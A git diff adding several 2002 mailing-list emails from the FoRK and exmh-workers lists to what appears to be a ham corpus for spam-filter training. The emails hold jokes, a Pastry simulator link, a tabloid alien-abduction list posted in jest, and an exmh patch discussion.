[127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Tue, 23 Jul 2002 21:46:04 -08:00 +Message-Id: <3D3DCE9C.60408@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Eugen Leitl +Cc: Lucas Gonze , FoRK +Subject: Re: spam maps +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 14:46:04 -0700 + +Eugen Leitl wrote: +> P.S. We hate you, too. + +"Fuck you, sir," came the familiar tired chorus. + +"Louder!" + +"FUCK YOU, SIR!" + +Damn, I love that book (_Forever War_). + +- Joe + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00712.e086301e1a13209a567bc2ae0c5ec1d9 b/bayes/spamham/easy_ham_2/00712.e086301e1a13209a567bc2ae0c5ec1d9 new file mode 100644 index 0000000..35668c4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00712.e086301e1a13209a567bc2ae0c5ec1d9 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Wed Jul 24 01:47:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 370C3440CC + for ; Tue, 23 Jul 2002 20:47:17 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 01:47:17 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O0ij407422 for ; + Wed, 24 Jul 2002 01:44:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0D78D2940E4; Tue, 23 Jul 2002 17:34:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx1.ucsc.edu [128.114.129.36]) by + xent.com (Postfix) with ESMTP id 35D4E2940AC for ; + Tue, 23 Jul 2002 17:33:16 -0700 (PDT) +Received: from Tycho (dhcp-60-118.cse.ucsc.edu [128.114.60.118]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6O0g9819409 for + ; Tue, 23 Jul 2002 17:42:09 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: SimPastry +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 17:40:26 -0700 + +http://www.research.microsoft.com/~antr/Pastry/download.htm + +Pastry is a generic, scalable and efficient substrate for peer-to-peer +applications. Pastry nodes form a decentralized, self-organizing and +fault-tolerant overlay network within the Internet. Pastry provides +efficient request routing, deterministic object location, and load balancing +in an application-independent manner. Furthermore, Pastry provides +mechanisms that support and facilitate application-specific object +replication, caching, and fault recovery. + +---- + +You can download a Pastry simulator off of this web site. + +- Jim + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00713.49b7b319d69b2dc2bc27a5dd206750a0 b/bayes/spamham/easy_ham_2/00713.49b7b319d69b2dc2bc27a5dd206750a0 new file mode 100644 index 0000000..70c1ca2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00713.49b7b319d69b2dc2bc27a5dd206750a0 @@ -0,0 +1,54 @@ +From fork-admin@xent.com Wed Jul 24 14:15:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4EB19440CD + for ; Wed, 24 Jul 2002 09:15:39 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 14:15:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6ODG3414691 for ; + Wed, 24 Jul 2002 14:16:03 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 024D929414A; Wed, 24 Jul 2002 06:00:10 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from imo-m08.mx.aol.com (imo-m08.mx.aol.com [64.12.136.163]) by + xent.com (Postfix) with ESMTP id 64B4829410C for ; + Wed, 24 Jul 2002 05:59:18 -0700 (PDT) +Received: from ThosStew@aol.com by imo-m08.mx.aol.com (mail_out_v32.21.) + id 2.186.b3487c0 (4419) for ; Wed, 24 Jul 2002 09:08:11 + -0400 (EDT) +From: ThosStew@aol.com +Message-Id: <186.b3487c0.2a7000bb@aol.com> +Subject: Re: SimPastry +To: FoRK@xent.com +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Mailer: AOL 5.0 for Mac sub 40 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 09:08:11 EDT + + +In a message dated 7/23/2002 8:45:18 PM, ejw@cse.ucsc.edu writes: + +>Pastry is a generic, scalable and efficient substrate for peer-to-peer +>applications. Pastry nodes form a decentralized, self-organizing and +>fault-tolerant overlay network within the Internet. + +Is it made with lard, butter, or vegetable shortenings? +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00714.15dea0aa20430242a5527e0f928eb8d4 b/bayes/spamham/easy_ham_2/00714.15dea0aa20430242a5527e0f928eb8d4 new file mode 100644 index 0000000..b50a520 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00714.15dea0aa20430242a5527e0f928eb8d4 @@ -0,0 +1,63 @@ +From fork-admin@xent.com Wed Jul 24 15:24:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 43108440CC + for ; Wed, 24 Jul 2002 10:24:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 15:24:51 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OEOn418591 for ; + Wed, 24 Jul 2002 15:24:50 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5D178294134; Wed, 24 Jul 2002 07:14:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from Boron.MeepZor.Com (i.meepzor.com [204.146.167.214]) by + xent.com (Postfix) with ESMTP id E1E762940B4 for ; + Wed, 24 Jul 2002 07:13:42 -0700 (PDT) +Received: from Golux.Com (dmz-firewall [206.199.198.4]) by + Boron.MeepZor.Com (8.11.6/8.11.6) with ESMTP id g6OEMvM14495; + Wed, 24 Jul 2002 10:22:57 -0400 +Message-Id: <3D3EBAD7.F19C2A45@Golux.Com> +From: Rodent of Unusual Size +Organization: The Apache Software Foundation +X-Mailer: Mozilla 4.79 [en] (WinNT; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: Flatware or Road Kill? +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +References: <4e.ecdfb60.2a6ffd67@aol.com> +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 10:33:59 -0400 + +At a pub frequented by the members of the EU translator corps, +a Spanish translator and an Irish translator start comparing +notes. The Spanish translator asks, "Is there anything in Irish +Gaelic which corresponds to 'mañana'?" The Irishman thinks for +a moment, fortified by a long pull at his pint, and finally +responds, "Yes -- but it doesn't have the same sense of terrible +urgency." +-- +#ken P-)} + +Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ +Author, developer, opinionist http://Apache-Server.Com/ + +"Millennium hand and shrimp!" +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00715.c11e77af45a2debe41aed46b2be09d59 b/bayes/spamham/easy_ham_2/00715.c11e77af45a2debe41aed46b2be09d59 new file mode 100644 index 0000000..6a00011 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00715.c11e77af45a2debe41aed46b2be09d59 @@ -0,0 +1,65 @@ +From fork-admin@xent.com Wed Jul 24 15:42:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1818A440A8 + for ; Wed, 24 Jul 2002 10:42:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 15:42:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OEZm419141 for ; + Wed, 24 Jul 2002 15:35:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A1C7629413D; Wed, 24 Jul 2002 07:25:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail1.panix.com (mail1.panix.com [166.84.1.72]) by xent.com + (Postfix) with ESMTP id 8419B294134 for ; Wed, + 24 Jul 2002 07:24:02 -0700 (PDT) +Received: from 159-98.nyc.dsl.access.net (159-98.nyc.dsl.access.net + [166.84.159.98]) by mail1.panix.com (Postfix) with ESMTP id D76B54871B for + ; Wed, 24 Jul 2002 10:33:15 -0400 (EDT) +From: Lucas Gonze +X-X-Sender: lgonze@localhost.localdomain +Cc: Flatware or Road Kill? +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +In-Reply-To: <3D3EBAD7.F19C2A45@Golux.Com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 10:27:32 -0400 (EDT) + + +Music school jokes -- + +American conductor and European conductor are talking. European conductor +says "what a week, I've had 5 rehearsals and a performance." "That's +nothing," says the American conductor, "I've had five performances and a +rehearsal." + +What's the difference between a spring in the desert surrounded by palm +trees and a violist that plays in tune? A violist that plays in tune is a +mirage. + +What's the difference between a rat and a guitar player? The rat's got +something to do tonight. + +Good thing it's not comedy school. + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00716.fd7eaea72c93e40a0ccff80ff8abe24f b/bayes/spamham/easy_ham_2/00716.fd7eaea72c93e40a0ccff80ff8abe24f new file mode 100644 index 0000000..b03620c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00716.fd7eaea72c93e40a0ccff80ff8abe24f @@ -0,0 +1,136 @@ +From exmh-workers-admin@redhat.com Wed Jul 24 16:27:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 74B65440A8 + for ; Wed, 24 Jul 2002 11:27:42 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 16:27:42 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OFOw422422 for + ; Wed, 24 Jul 2002 16:24:58 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id B37FA3F680; Wed, 24 Jul 2002 + 11:24:05 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 834693EC61 + for ; Wed, 24 Jul 2002 11:23:51 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6OFNpA15597 for exmh-workers@listman.redhat.com; Wed, 24 Jul 2002 + 11:23:51 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6OFNpR15593 for + ; Wed, 24 Jul 2002 11:23:51 -0400 +Received: from austin-jump.vircio.com + (IDENT:nIU5jrdt8WRPl54wQTekmxiaJF9YKWPK@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6OFC9s27150 + for ; Wed, 24 Jul 2002 11:12:09 -0400 +Received: (qmail 6754 invoked by uid 104); 24 Jul 2002 15:23:50 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.31528 + secs); 24/07/2002 10:23:50 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 24 Jul 2002 15:23:50 -0000 +Received: (qmail 24888 invoked from network); 24 Jul 2002 15:23:49 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 24 Jul 2002 15:23:49 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: PATCH (was: Re: Another bug) +In-Reply-To: <20020724093457.D1035470D@tippex.localdomain> +References: <20020724093457.D1035470D@tippex.localdomain> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_1600470190P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027524228.24686.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 10:23:47 -0500 + +--==_Exmh_1600470190P +Content-Type: text/plain; charset=us-ascii + +> From: Anders Eriksson +> Date: Wed, 24 Jul 2002 11:34:52 +0200 +> +> The following patch removes Ftoc_RescanLine in favour of a +> Ftoc_RescanLines. It runs scan(1) on a list of lines and updates ftoc +> accordingly. The patch also changes all the callers to make use of it. +> +> It also changes Ftoc_ClearCurrent to work of an argument instead of +> falsily clearing a message that's still Current on disk. All in an +> effort to get a one-to-one disk-display correspondence. +> +> It does add ~30 -- ~ 75 ms (~<10%) to the execution time depending on +> folder size due to the invocation of scan. However this version does +> not try to second guess the mh version of scan so if you have exotic +> scanlines it tells the truth. As a side effect the '+' sign now +> corresponds better to what's on disk. +> +> Comments appreciated. I'm going to be offlike for a couple of days, +> so I send the cvs diff rather than putting it in the cvs. + +Okay, I've just patched and sourced it into my running exmh, so I'll let you +know if anything breaks. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_1600470190P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9PsaDK9b4h5R0IUIRAlnZAJ9uyst86+8R7mzxf3yWJeNv9AHe6ACdHAeC +IkGCzBzaFuPg7EWgIeLNEJM= +=0S4w +-----END PGP SIGNATURE----- + +--==_Exmh_1600470190P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00717.e15f1e668f85071ea982e99b18e9b538 b/bayes/spamham/easy_ham_2/00717.e15f1e668f85071ea982e99b18e9b538 new file mode 100644 index 0000000..f4571a8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00717.e15f1e668f85071ea982e99b18e9b538 @@ -0,0 +1,144 @@ +From fork-admin@xent.com Wed Jul 24 16:28:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 671A9440A8 + for ; Wed, 24 Jul 2002 11:28:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 16:28:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OFOk422414 for ; + Wed, 24 Jul 2002 16:24:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 836CA294143; Wed, 24 Jul 2002 08:14:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id F3B8929413D for ; + Wed, 24 Jul 2002 08:13:40 -0700 (PDT) +Received: from maya.dyndns.org (ts5-027.ptrb.interhop.net + [165.154.190.91]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6OEw5I23032 for ; Wed, 24 Jul 2002 10:58:06 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id D53F81C3A0; + Wed, 24 Jul 2002 11:15:45 -0400 (EDT) +To: Flatware or Road Kill? +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +References: +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 11:15:45 -0400 + + +This thread is starting to rapidly decay ... + +these are old bits which I cannot explain exactly why I thought they +were important now or why I went rummaging through back folders to +find them or even why I felt compelled by a deep sense of inner +purpose to post them here ... + +http://www.weeklyworldnews.com/stories/2238.html + +20 NEW SIGNS THAT YOU WERE ABDUCTED BY SPACE ALIENS! + +WINSTON-SALEM, N.C. -- You may have been abducted by space aliens -- +and not even know it! + +Psychiatrists, psychologists and UFO experts say millions of people +all over the world have been kidnapped by extraterrestrials. But most +of them can't recall the experience because the memory is so painful +that they've buried it deep in their subconscious minds. + +But there are strong tip-offs that you may be one of the millions who +have encountered beings from another planet, if you know what to watch +for. + +Experts at Wake Forest University here, as well as other respected +institutions around the world, offer 20 startling new indicators that +you may have had a close encounter: + +1. You experience unexplained nausea or a strange sense of uneasiness +around the same time each day. + +2. You have an unusual new scar or strange mark on your body -- +particularly on the roof of your mouth or behind an ear. + +3. You often find yourself hungry for oranges or lemons -- even after +you've had a large meal or eaten enough food to fill your +stomach. Researchers at Oslo University say this hunger for citrus is +common in alien abductees. + +4. You have a strong, ever-present feeling that there is some mission +or important thing you're supposed to do in life and you find yourself +constantly driven to achieve it or discover what it might be. + +5. You often find yourself going through your trash, or the trash of +others, without knowing exactly what you're looking for. Swiss UFO +researchers found that people who have been abducted often find +themselves unaccountably digging through refuse. + +6. You frequently dream of cattle. Psychologists at the University of +Paris say it's common for the subconscious mind to substitute a cow or +bull for an alien being. + +7. You feel you're "special" or "chosen." + +8. You are a vegetarian -- but can't exactly explain why. + +9. You have an overpowering feeling of dread when you see photos or +drawings of space aliens. + +10. You are prone to addictive or compulsive behavior. This in itself +is not necessarily indicative of alien abduction. But if there are +other indicators as well, you could be an abductee. + +11. You wet the bed. Studies in Peru show there's a connection. + +12. You have frequent insomnia. + +13. You are strangely intrigued by old western movies. Psychologists +say they can't yet explain abductees' fascination with cowboy movies, +but they say it exists in at least 75 percent of victims. + +14. Electronic devices often go haywire around you for no discernible +reason. + +15. You have seen -- or think you've seen -- a mysterious, hooded +figure in or near your home more than once. + +16. Your fingers are stiff, numb or unresponsive for more than an hour +after you wake up. + +17. You have had -- or currently have -- severe back or neck problems. + +18. You frequently experience a ringing in one ear. + +19. You often get sinusitis or other nasal pain. + +20. You are frequently haunted by the sense that you're being watched. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00718.9c814926c32a81ae9a66e55999e160d3 b/bayes/spamham/easy_ham_2/00718.9c814926c32a81ae9a66e55999e160d3 new file mode 100644 index 0000000..0fd7c6c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00718.9c814926c32a81ae9a66e55999e160d3 @@ -0,0 +1,127 @@ +From exmh-workers-admin@redhat.com Wed Jul 24 17:06:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B309A440A8 + for ; Wed, 24 Jul 2002 12:06:40 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 17:06:40 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OFxw424512 for + ; Wed, 24 Jul 2002 17:00:04 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 3E3E33EABA; Wed, 24 Jul 2002 + 11:59:05 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 9D55A3ED55 + for ; Wed, 24 Jul 2002 11:58:12 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6OFwCC22217 for exmh-workers@listman.redhat.com; Wed, 24 Jul 2002 + 11:58:12 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6OFwCR22207 for + ; Wed, 24 Jul 2002 11:58:12 -0400 +Received: from austin-jump.vircio.com + (IDENT:xaVED6lyoe9uDWnntz1Hmj/b9vZQnqL3@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6OFkSs01363 + for ; Wed, 24 Jul 2002 11:46:29 -0400 +Received: (qmail 8798 invoked by uid 104); 24 Jul 2002 15:58:07 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.42337 + secs); 24/07/2002 10:58:06 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 24 Jul 2002 15:58:06 -0000 +Received: (qmail 21890 invoked from network); 24 Jul 2002 15:58:05 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 24 Jul 2002 15:58:05 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson , exmh-workers@spamassassin.taint.org +Subject: Re: PATCH (was: Re: Another bug) +In-Reply-To: <1027524228.24686.TMDA@deepeddy.vircio.com> +References: <20020724093457.D1035470D@tippex.localdomain> + <1027524228.24686.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_1643180900P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027526285.21651.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 10:58:02 -0500 + +--==_Exmh_1643180900P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Wed, 24 Jul 2002 10:23:47 -0500 +> +> Okay, I've just patched and sourced it into my running exmh, so I'll let you +> know if anything breaks. + +oh oh... + +[cwg@deepeddy lib]$ grep 'Ftoc_RescanLine ' *.tcl +editor.tcl: Ftoc_RescanLine $ix dash +ftoc.tcl:# Ftoc_RescanLine $ftoc(curLine) + +You missed the call to Ftoc_RescanLine in editor.tcl. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_1643180900P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Ps6KK9b4h5R0IUIRAkN7AJ9kW1HE46BxlRu/TmbuiSWWq95pKgCeLhAH +/u3WggFFeEtCVwV1tLzDN80= +=K2O3 +-----END PGP SIGNATURE----- + +--==_Exmh_1643180900P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00719.d3f6422685d691cd7d0aea8851b831f9 b/bayes/spamham/easy_ham_2/00719.d3f6422685d691cd7d0aea8851b831f9 new file mode 100644 index 0000000..0cf787f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00719.d3f6422685d691cd7d0aea8851b831f9 @@ -0,0 +1,193 @@ +From exmh-workers-admin@redhat.com Thu Jul 25 11:00:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B793B440D2 + for ; Thu, 25 Jul 2002 06:00:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:00:15 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OKLL405385 for + ; Wed, 24 Jul 2002 21:21:21 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id A45A14042A; Wed, 24 Jul 2002 + 16:19:20 